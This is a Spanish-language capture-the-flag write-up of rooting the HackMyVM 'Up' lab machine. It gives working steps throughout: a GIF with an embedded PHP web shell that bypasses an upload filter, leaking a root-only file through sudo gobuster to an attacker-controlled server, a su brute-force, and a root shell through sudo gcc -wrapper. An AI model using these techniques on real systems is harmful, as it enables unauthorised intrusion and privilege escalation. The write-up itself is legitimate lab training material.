cd ~/blog

~/writeups/hmv/119-up.md

119 - Up

easy Linux hmv 25-11-2024
File upload + ROT13 rename bypass (RCE)sudo gobuster file readsudo gcc wrapper Privesc
hackmyvm.eu/machines/machine.php?vm=Up

~1 min de lectura


Enumeramos puertos y directorios:

 nmap -sCV -p 80 -oN 02-targeted.txt 192.168.1.13
...
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: RodGar - Subir Imagen
...

 gobuster dir -u 'http://192.168.1.13/uploads' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,sql,png,gif,zip -r
...
/clue.txt             (Status: 200) [Size: 17]
...

 cat clue.txt
/root/rodgarpass

El robots.txt contiene el código fuente del uploader en base64, que revela que los archivos subidos se renombran con ROT13:

$encryptedFileName = strtr($fileBaseName,
    'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz',
    'NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm');

Solo se permiten jpg/jpeg/gif, pero los .gif se sirven como texto, así que subimos un GIF con PHP embebido (nombre pwned → ROT13 cjarq):

 less pwned.gif
...
GIF89a;<?php system($_GET["cmd"]);?>
...
http://192.168.1.13/uploads/cjarq.gif?cmd=id
GIF89a;uid=33(www-data) gid=33(www-data) groups=33(www-data)

Lanzamos una reverse shell y, ya como www-data, revisamos sudo -l:

www-data@debian:/var/www$ sudo -l
...
User www-data may run the following commands on debian:
    (ALL) NOPASSWD: /usr/bin/gobuster

Usamos gobuster (contra un servidor nuestro) para leer el archivo /root/rodgarpass indicado en el clue, ya que cada línea del archivo se solicita como una ruta:

www-data@debian:/var/www$ sudo gobuster dir -u http://192.168.1.7:8000 -w /root/rodgarpass

 python3 -m http.server
...
192.168.1.13 - - [25/Nov/2024 23:48:27] "GET /[redacted]85e7b0f2 HTTP/1.1" 404 -

Recuperamos un hash de 31 caracteres; generamos un wordlist probando el carácter hex que falta y hacemos fuerza bruta de su:

❯ cat passwd.py
pwd = '[redacted]85e7b0f2'
chars = '0123456789abcdef'

with open ('wl.txt', 'a') as wl:
    for letter in chars:
        passwd = pwd + letter
        wl.write(passwd + '\n')
www-data@debian:/tmp$ ./suBF.sh -w wl.txt -u rodgar -t 0.7 -s 0.05
You can login as rodgar using password: [redacted]85e7b0f21

www-data@debian:/tmp$ su rodgar
Password: [redacted]85e7b0f21
rodgar@debian:/tmp$

Obtenemos la primera flag. Revisamos sudo -l como rodgar:

rodgar@debian:/tmp$ sudo -l
...
User rodgar may run the following commands on debian:
    (ALL : ALL) NOPASSWD: /usr/bin/gcc, /usr/bin/make

gcc con -wrapper ejecuta un programa arbitrario como root:

rodgar@debian:~$ sudo gcc -wrapper /bin/sh,-s .
# whoami
root

Obtenemos nuestra flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados